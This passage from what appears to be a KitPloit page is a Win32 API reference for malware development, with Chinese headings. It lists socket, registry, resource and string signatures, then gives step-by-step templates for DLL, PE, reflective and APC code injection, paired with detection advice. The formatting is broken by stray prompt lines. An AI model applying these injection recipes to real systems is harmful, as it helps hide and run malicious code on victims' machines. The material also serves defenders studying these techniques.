    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
    DWORD dwFlags, // Flags to modify the behavior of the function call.
    const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address.
    int iToLen, // Size of the address in lpTo.
    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.

WSARecvFrom```c int WSARecvFrom( SOCKET s, // Descriptor identifying a socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation. LPINT lpFromlen, // Pointer to the size of the lpFrom address structure. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.

root@kitploit:~
[WSAAsyncSelect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaasyncselect)```c
int WSAAsyncSelect(
    SOCKET s, // Descriptor identifying the socket.
    HWND hWnd, // Handle to the window which should receive the message.
    unsigned int wMsg, // Message to be received when an event occurs.
    long lEvent // Bitmask specifying a group of conditions to be monitored.
); // Requests Windows message - based notification of network events for a socket.

socket```c SOCKET socket( int af, int type, int protocol ); // Creates a new socket for network communication.

root@kitploit:~
[bind](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind)```c
int bind(
    SOCKET s, 
    const struct sockaddr *name, 
    int namelen
); // Binds a socket to a specific local address and port.

listen```c int listen( SOCKET s, int backlog ); // Sets a socket to listen for incoming connections.

root@kitploit:~
[accept](https://learn.microsoft.com/en-us/windows/win32/api/Winsock2/nf-winsock2-accept)```c
SOCKET accept(
    SOCKET s, 
    struct sockaddr *addr, 
    int *addrlen
); // Accepts a new incoming connection on a listening socket.

connect```c int connect( SOCKET s, const struct sockaddr *name, int namelen ); // Initiates a connection on a socket to a remote address.

root@kitploit:~
[send](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send)```c
int send(
    SOCKET s, 
    const char *buf, 
    int len, 
    int flags
); // Sends data on a connected socket.

recv```c int recv( SOCKET s, char *buf, int len, int flags ); // Receives data from a connected socket.

root@kitploit:~
[closesocket](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-closesocket)```c
int closesocket(
    SOCKET s
); //Closes a socket and frees its resources.

gethostbyname```c hostent* gethostbyname( const char* name // either a hostname or an IPv4 address in dotted-decimal notation ); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo

root@kitploit:~
### 注册表操作
[RegOpenKeyExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw)```c
LONG RegOpenKeyExW(
    HKEY hKey, 
    LPCWTSTR lpSubKey, 
    DWORD ulOptions, 
    REGSAM samDesired, 
    PHKEY phkResult
); // Opens the specified registry key.

RegQueryValueExW```c LONG RegQueryValueExW( HKEY hKey, LPCWTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData ); // Retrieves the type and data of the specified value name associated with an open registry key.

root@kitploit:~
[RegSetValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw)```c
LONG RegSetValueEx(
    HKEY hKey, 
    LPCWTSTR lpValueName, 
    DWORD Reserved, 
    DWORD dwType, 
    const BYTE *lpData, 
    DWORD cbData
); // Sets the data and type of the specified value name associated with an open registry key.

RegCloseKey```c LONG RegCloseKey( HKEY hKey ); // Closes a handle to the specified registry key.

root@kitploit:~
[RegCreateKeyExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa)```c
LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive. 

RegSetValueExA```c LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData ); // Sets the data and type of a specified value under a registry key.

root@kitploit:~
[RegCreateKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya)```c
LSTATUS RegCreateKeyA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey,
  [out]          PHKEY  phkResult
); // Creates the specified registry key. If the key already exists in the registry, the function opens it.

RegDeleteKeyA```c LSTATUS RegDeleteKeyA( [in] HKEY hKey, [in] LPCSTR lpSubKey ); // Deletes a subkey and its values. Note that key names are not case sensitive.

root@kitploit:~
[NtRenameKey](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntrenamekey)```c
__kernel_entry NTSTATUS NtRenameKey(
  [in] HANDLE          KeyHandle,
  [in] PUNICODE_STRING NewName
); // Changes the name of the specified registry key.

错误处理

WSAGetLastError```c int WSAGetLastError( void ); // Returns the error status for the last Windows Sockets operation that failed.

root@kitploit:~
[WSASetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsasetlasterror)```c
void WSASetLastError(
    int iError
); // Sets the error status for the last Windows Sockets operation.

WSAGetOverlappedResult```c BOOL WSAGetOverlappedResult( SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags ); // Determines the results of an overlapped operation on the specified socket.

root@kitploit:~
[WSAIoctl](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaioctl)```c
int WSAIoctl(
    SOCKET s, 
    DWORD dwIoControlCode, 
    LPVOID lpvInBuffer, 
    DWORD cbInBuffer, 
    LPVOID lpvOutBuffer, 
    DWORD cbOutBuffer, 
    LPDWORD lpcbBytesReturned, 
    LPWSAOVERLAPPED lpOverlapped, 
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
); // Controls the mode of a socket.

WSACreateEvent```c WSAEVENT WSACreateEvent( void ); // Creates a new event object.

root@kitploit:~
[WSASetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasetevent)```c
BOOL WSASetEvent(
    WSAEVENT hEvent
); // Sets the state of the specified event object to signaled.

WSAResetEvent```c BOOL WSAResetEvent( WSAEVENT hEvent ); // Sets the state of the specified event object to nonsignaled.

root@kitploit:~
[WSACloseEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacloseevent)```c
BOOL WSACloseEvent(
    WSAEVENT hEvent
); // Closes an open event object handle.

WSAWaitForMultipleEvents```c DWORD WSAWaitForMultipleEvents( DWORD cEvents, const WSAEVENT *lphEvents, BOOL fWaitAll, DWORD dwTimeout, BOOL fAlertable ); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.

root@kitploit:~
### 资源管理
[FindResource](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea)```c
HRSRC FindResource(
  [in, optional] HMODULE hModule,   // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.
  [in]           LPCSTR  lpName,    // The name of the resource.
  [in]           LPCSTR  lpType     // The resource type.
); // Determines the location of a resource with the specified type and name in the specified module.
root@kitploit:~
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);

LoadResource```c HGLOBAL LoadResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource. [in] HRSRC hResInfo // A handle to the resource to be loaded. ); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.

root@kitploit:~
```c
HGLOBAL resHandle = resHandle = LoadResource(NULL, res);

LockResource```c LPVOID LockResource( [in] HGLOBAL hResData // A handle to the resource to be accessed ); // Retrieves a pointer to the specified resource in memory.

root@kitploit:~
```c
unsigned char * payload = (char *) LockResource(resHandle);

SizeofResource```c DWORD SizeofResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource [in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource ); // Retrieves the size, in bytes, of the specified resource.

root@kitploit:~
```c
unsigned int payload_len = SizeofResource(NULL, res);

Unicode 字符串函数```c

#include <wchar.h> // for wide character string routines

root@kitploit:~
### 字符串长度```c
size_t wcslen(
    const wchar_t *str
); // Returns the length of the given wide string.

字符串复制

[wcscpy]```c wchar_t *wcscpy( wchar_t *dest, const wchar_t *src ); // Copies the wide string from src to dest.

root@kitploit:~
[wcsncpy]```c
wchar_t *wcsncpy(
    wchar_t *dest, 
    const wchar_t *src, 
    size_t count
); // Copies at most count characters from the wide string src to dest.

字符串拼接

[wcscat]```c wchar_t *wcscat( wchar_t *dest, const wchar_t *src ); // Appends the wide string src to the end of the wide string dest.

root@kitploit:~
[wcsncat]```c
wchar_t *wcsncat(
    wchar_t *dest, 
    const wchar_t *src, 
    size_t count
); // Appends at most count characters from the wide string src to the end of the wide string dest.

字符串比较

[wcscmp]```c int wcscmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically.

root@kitploit:~
[wcsncmp]```c
int wcsncmp(
    const wchar_t *str1, 
    const wchar_t *str2, 
    size_t count
); // Compares up to count characters of two wide strings lexicographically.

[_wcsicmp]```c int _wcsicmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically, ignoring case.

root@kitploit:~
[_wcsnicmp]```c
int _wcsnicmp(
    const wchar_t *str1, 
    const wchar_t *str2, 
    size_t count
); // Compares up to count characters of two wide strings lexicographically, ignoring case.

字符串搜索

[wcschr]```c wchar_t *wcschr( const wchar_t *str, wchar_t c ); // Finds the first occurrence of the wide character c in the wide string str.

root@kitploit:~
[wcsrchr]```c
wchar_t *wcsrchr(
    const wchar_t *str, 
    wchar_t c
); // Finds the last occurrence of the wide character c in the wide string str.

[wcspbrk]```c wchar_t *wcspbrk( const wchar_t *str1, const wchar_t *str2 ); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.

root@kitploit:~
[wcsstr]```c
wchar_t *wcsstr(
    const wchar_t *str1, 
    const wchar_t *str2
); // Finds the first occurrence of the wide string str2 in the wide string str1.

[wcstok]```c wchar_t *wcstok( wchar_t *str, const wchar_t *delimiters ); // Splits the wide string str into tokens based on the delimiters.

root@kitploit:~
### 字符分类与转换
[towupper]```c
wint_t towupper(
    wint_t c
); // Converts a wide character to uppercase.

[towlower]```c wint_t towlower( wint_t c ); // Converts a wide character to lowercase.

root@kitploit:~
[iswalpha]```c
int iswalpha(
    wint_t c
); // Checks if the wide character is an alphabetic character.

[iswdigit]```c int iswdigit( wint_t c ); // Checks if the wide character is a decimal digit.

root@kitploit:~
[iswalnum]```c
int iswalnum(
    wint_t c
); // Checks if the wide character is an alphanumeric character.

[iswspace]```c int iswspace( wint_t c ); // Checks if the wide character is a whitespace character.

root@kitploit:~
[iswxdigit]```c
int iswxdigit(
    wint_t c
); // Checks if the wide character is a valid hexadecimal digit.

Win32 结构体速查表

常见结构体

SYSTEM_INFO```cpp #include <sysinfoapi.h> // Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size. typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision; } SYSTEM_INFO;

root@kitploit:~
[**`FILETIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime)```cpp
#include <minwinbase.h>
// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.
typedef struct _FILETIME {
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

STARTUPINFO```cpp #include <processthreadsapi.h> // Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOA, *LPSTARTUPINFOA;

root@kitploit:~
[**`PROCESS_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information)```cpp
#include <processthreadsapi.h>
// Contains information about a newly created process and its primary thread.
typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;
    HANDLE hThread;
    DWORD  dwProcessId;
    DWORD  dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;

PROCESSENTRY32```c #include <tlhelp32.h> typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32;

root@kitploit:~
[**`SECURITY_ATTRIBUTES`**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85))```cpp
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.
typedef struct _SECURITY_ATTRIBUTES {
    DWORD  nLength;
    LPVOID lpSecurityDescriptor;
    BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

OVERLAPPED```cpp #inluce <minwinbase.h> // Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations. typedef struct _OVERLAPPED { ULONG_PTR Internal; ULONG_PTR InternalHigh; union { struct { DWORD Offset; DWORD OffsetHigh; } DUMMYSTRUCTNAME; PVOID Pointer; } DUMMYUNIONNAME; HANDLE hEvent; } OVERLAPPED, *LPOVERLAPPED;

root@kitploit:~
[**`GUID`**](https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid)```cpp
#include <guiddef.h>
// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.
typedef struct _GUID {
    unsigned long  Data1;
    unsigned short Data2;
    unsigned short Data3;
    unsigned char  Data4[8];
} GUID;

MEMORY_BASIC_INFORMATION```cpp #include <winnt.h> // Contains information about a range of pages in the virtual address space of a process. typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

root@kitploit:~
[**`SYSTEMTIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime)```cpp
#include <minwinbase.h>
// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.
typedef struct _SYSTEMTIME {
    WORD wYear;
    WORD wMonth;
    WORD wDayOfWeek;
    WORD wDay;
    WORD wHour;
    WORD wMinute;
    WORD wSecond;
    WORD wMilliseconds;
} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;

COORD```cpp // Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner. typedef struct _COORD { SHORT X; SHORT Y; } COORD, *PCOORD;

root@kitploit:~
[**`SMALL_RECT`**](https://docs.microsoft.com/en-us/windows/console/small-rect-str)```cpp
//  Defines the coordinates of the upper left and lower right corners of a rectangle.
typedef struct _SMALL_RECT {
    SHORT Left;
    SHORT Top;
    SHORT Right;
    SHORT Bottom;
} SMALL_RECT;

CONSOLE_SCREEN_BUFFER_INFO```cpp // Contains information about a console screen buffer. typedef struct _CONSOLE_SCREEN_BUFFER_INFO { COORD dwSize; COORD dwCursorPosition; WORD wAttributes; SMALL_RECT srWindow; COORD dwMaximumWindowSize; } CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;

root@kitploit:~
[**`WSADATA`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata)```cpp
#include <winsock.h>
// Contains information about the Windows Sockets implementation.
typedef struct WSAData {
    WORD           wVersion;
    WORD           wHighVersion;
    unsigned short iMaxSockets;
    unsigned short iMaxUdpDg;
    char FAR       *lpVendorInfo;
    char           szDescription[WSADESCRIPTION_LEN+1];
    char           szSystemStatus[WSASYS_STATUS_LEN+1];
} WSADATA, *LPWSADATA;

[CRITICAL_SECTION](结构体 RTL_CRITICAL_SECTION (nirsoft.net))```c++ // Represents a critical section object, which is used to provide synchronization access to a shared resource. typedef struct _RTL_CRITICAL_SECTION { PRTL_CRITICAL_SECTION_DEBUG DebugInfo; LONG LockCount; LONG RecursionCount; HANDLE OwningThread; HANDLE LockSemaphore; ULONG_PTR SpinCount; } RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;

root@kitploit:~
[**`WSAPROTOCOL_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infoa)```c++
#include <winsock2.h>
// Contains Windows Sockets protocol information.
typedef struct _WSAPROTOCOL_INFOA {
    DWORD          dwServiceFlags1;
    DWORD          dwServiceFlags2;
    DWORD          dwServiceFlags3;
    DWORD          dwServiceFlags4;
    DWORD          dwProviderFlags;
    GUID           ProviderId;
    DWORD          dwCatalogEntryId;
    WSAPROTOCOLCHAIN ProtocolChain;
    int            iVersion;
    int            iAddressFamily;
    int            iMaxSockAddr;
    int            iMinSockAddr;
    int            iSocketType;
    int            iProtocol;
    int            iProtocolMaxOffset;
    int            iNetworkByteOrder;
    int            iSecurityScheme;
    DWORD          dwMessageSize;
    DWORD          dwProviderReserved;
    CHAR           szProtocol[WSAPROTOCOL_LEN+1];
} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;

MSGHDR```c++ #include <ws2def.h> // Contains message information for use with the sendmsg and recvmsg functions. typedef struct _WSAMSG { LPSOCKADDR name; INT namelen; LPWSABUF lpBuffers; ULONG dwBufferCount; WSABUF Control; ULONG dwFlags; } WSAMSG, *PWSAMSG, *LPWSAMSG;

root@kitploit:~
### Win32 套接字结构速查表 (winsock.h)
[**`SOCKADDR`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr)```cpp
// A generic socket address structure used for compatibility with various address families.
typedef struct sockaddr {
    u_short sa_family;
    char    sa_data[14];
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;

SOCKADDR_IN```cpp // Represents an IPv4 socket address, containing the IPv4 address, port number, and address family. typedef struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; } SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;

root@kitploit:~
[**`LINGER`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-linger)```cpp
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.
typedef struct linger {
    u_short l_onoff;
    u_short l_linger;
} LINGER, *PLINGER, *LPLINGER;

TIMEVAL```cpp // Represents a time interval, used with the select function to specify a timeout period. typedef struct timeval { long tv_sec; long tv_usec; } TIMEVAL, *PTIMEVAL, *LPTIMEVAL;

root@kitploit:~
[**`FD_SET`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-fd_set)```cpp
// Represents a set of sockets used with the `select` function to check for socket events.
typedef struct fd_set {
    u_int fd_count;
    SOCKET fd_array[FD_SETSIZE];
} fd_set, *Pfd_set, *LPfd_set;

Win32 套接字结构体速查表 (winsock2.h)

IN_ADDR```cpp // Represents an IPv4 address. typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, *LPIN_ADDR;

root@kitploit:~
### Win32 Sockets 结构速查表 (ws2def.h)
[**`ADDRINFO`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfow)```cpp
#include <ws2def.h>
// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.
typedef struct addrinfoW {
    int             ai_flags;
    int             ai_family;
    int             ai_socktype;
    int             ai_protocol;
    size_t          ai_addrlen;
    PWSTR           *ai_canonname;
    struct sockaddr *ai_addr;
    struct addrinfo *ai_next;
} ADDRINFOW, *PADDRINFOW;

WSABUF```cpp #include <ws2def.h> // Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations. typedef struct _WSABUF { ULONG len; __field_bcount(len) CHAR FAR *buf; } WSABUF, FAR * LPWSABUF;

root@kitploit:~
[**`SOCKADDR_IN6`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2ipdef/ns-ws2ipdef-sockaddr_in6)```cpp
#include <ws2ipdef.h>
// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.
typedef struct sockaddr_in6 {
    short          sin6_family;
    u_short        sin6_port;
    u_long         sin6_flowinfo;
    struct in6_addr sin6_addr;
    u_long         sin6_scope_id;
} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;

IN6_ADDR```cpp #include <in6addr.h> // Represents an IPv6 address. typedef struct in6_addr { union { u_char Byte[16]; u_short Word[8]; } u; } IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

root@kitploit:~
# Code Injection Techniques

## 1. DLL Injection

This technique forces a process to load a malicious DLL.

Key APIs:
- [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)  ```c
  HANDLE OpenProcess(
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
  );
  • VirtualAllocEx ```c LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~

WriteProcessMemory ```c BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );

root@kitploit:~
- [`CreateRemoteThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)  ```c
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);
  • GetProcAddress ```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
    root@kitploit:~
  • LoadLibrary ```c HMODULE LoadLibraryA( LPCSTR lpLibFileName );
    root@kitploit:~
  • NtCreateThread (未文档化) ```c NTSTATUS NTAPI NtCreateThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended );
    root@kitploit:~
  • RtlCreateUserThread (未记录的) ```c NTSTATUS NTAPI RtlCreateUserThread( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientId );
    root@kitploit:~

模板:

  1. 使用 OpenProcess 打开目标进程
  2. 使用 VirtualAllocEx 在目标进程中分配内存
  3. 使用 WriteProcessMemory 将 DLL 路径写入已分配的内存
  4. 使用 GetProcAddress 获取 LoadLibraryA 的地址
  5. 使用 CreateRemoteThread 在目标进程中创建远程线程,指向 LoadLibraryA,并将 LoadLibraryA 的地址作为 lpStartAddress 参数传入。
  6. (可选)使用 NtCreateThread 或 RtlCreateUserThread 作为替代的线程创建方法

检测与防御:

  • 监视可疑的进程访问和内存分配模式
  • 使用应用程序白名单阻止未经授权的 DLL 被加载
  • 实施进程完整性检查
  • 使用 Microsoft Process Monitor 等工具检测 DLL 注入尝试

2. PE 注入

该技术涉及在远程进程或同一进程(自注入)中写入并执行恶意代码。

关键 API:

  • OpenThread ```c HANDLE OpenThread( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId );
    root@kitploit:~
  • SuspendThread ```c DWORD SuspendThread( HANDLE hThread );
    root@kitploit:~
  • VirtualAllocEx (见上文)
  • WriteProcessMemory (见上文)
  • SetThreadContext ```c BOOL SetThreadContext( HANDLE hThread, const CONTEXT *lpContext );
    root@kitploit:~
  • ResumeThread ```c DWORD ResumeThread( HANDLE hThread );
    root@kitploit:~
  • NtResumeThread(未记录) ```c NTSTATUS NTAPI NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL );

模板:

  1. 使用 OpenThread 打开目标线程
  2. 使用 SuspendThread 挂起线程
  3. 使用 VirtualAllocEx 在目标进程中分配内存
  4. 使用 WriteProcessMemory 将恶意代码写入已分配的内存
  5. 使用 SetThreadContext 修改线程上下文以指向注入的代码
  6. 使用 ResumeThread 或 NtResumeThread 恢复线程

检测与防御:

  • 监视异常的线程挂起和恢复模式
  • 实施内存完整性检查
  • 使用端点检测与响应(EDR)解决方案来检测可疑的内存修改
  • 采用运行时进程内存扫描技术

3. 反射注入

类似于 PE 注入,但避免使用 LoadLibrary 和 CreateRemoteThread。它涉及编写一个自定义加载器,可以从内存中加载 DLL,而无需使用标准的 Windows 加载器。

关键 API:

  • CreateFileMapping ```c HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
    root@kitploit:~
  • MapViewOfFile ```c LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
    root@kitploit:~
  • OpenProcess (见上文)
  • memcpy ```c void *memcpy( void *dest, const void *src, size_t count );
    root@kitploit:~
  • ZwMapViewOfSection (记录为内核模式) ```c NTSTATUS ZwMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
    root@kitploit:~
  • CreateThread (参见上面的 CreateRemoteThread)

有时会使用的其他 API:

  • VirtualQueryEx ```c SIZE_T VirtualQueryEx( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength );
    root@kitploit:~
  • ReadProcessMemory ```c BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );
    root@kitploit:~

模板:

  1. 使用 CreateFileMapping 创建 DLL 的文件映射
  2. 使用 MapViewOfFile 映射文件视图
  3. 使用 OpenProcess 打开目标进程
  4. 使用 VirtualAllocEx 在目标进程中分配内存
  5. 使用 WriteProcessMemory 将 DLL 内容复制到分配的内存中
  6. 在目标进程中执行 DLL 的手动加载和重定位
  • 解析 PE 头
  • 为每个节分配内存
  • 将节复制到分配的内存
  • 处理重定位表:
    • 枚举重定位条目
    • 根据新的基址应用重定位
  • 解析导入:
    • 遍历导入目录
    • 对于每个导入的函数,使用 GetProcAddress 解析其地址
    • 将解析出的地址写入 IAT
  1. 使用一种线程创建方法执行 DLL 的入口点

检测与防御:

  • 实现高级内存扫描技术以检测注入的代码
  • 使用基于行为的检测来识别可疑的内存分配模式
  • 监控异常的文件映射操作
  • 采用基于启发式的检测方法来识别反射加载器

4. APC 注入

该技术通过附加到异步过程调用(APC)队列中,从而在特定线程中执行代码。 最适用于可警报线程(即调用可警报等待函数的线程)。

关键 API:

  • CreateToolhelp32Snapshot ```c HANDLE CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID );
    root@kitploit:~
  • Process32First ```c BOOL Process32First( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
    root@kitploit:~
  • Process32Next ```c BOOL Process32Next( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
    root@kitploit:~
  • Thread32First ```c BOOL Thread32First( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
    root@kitploit:~
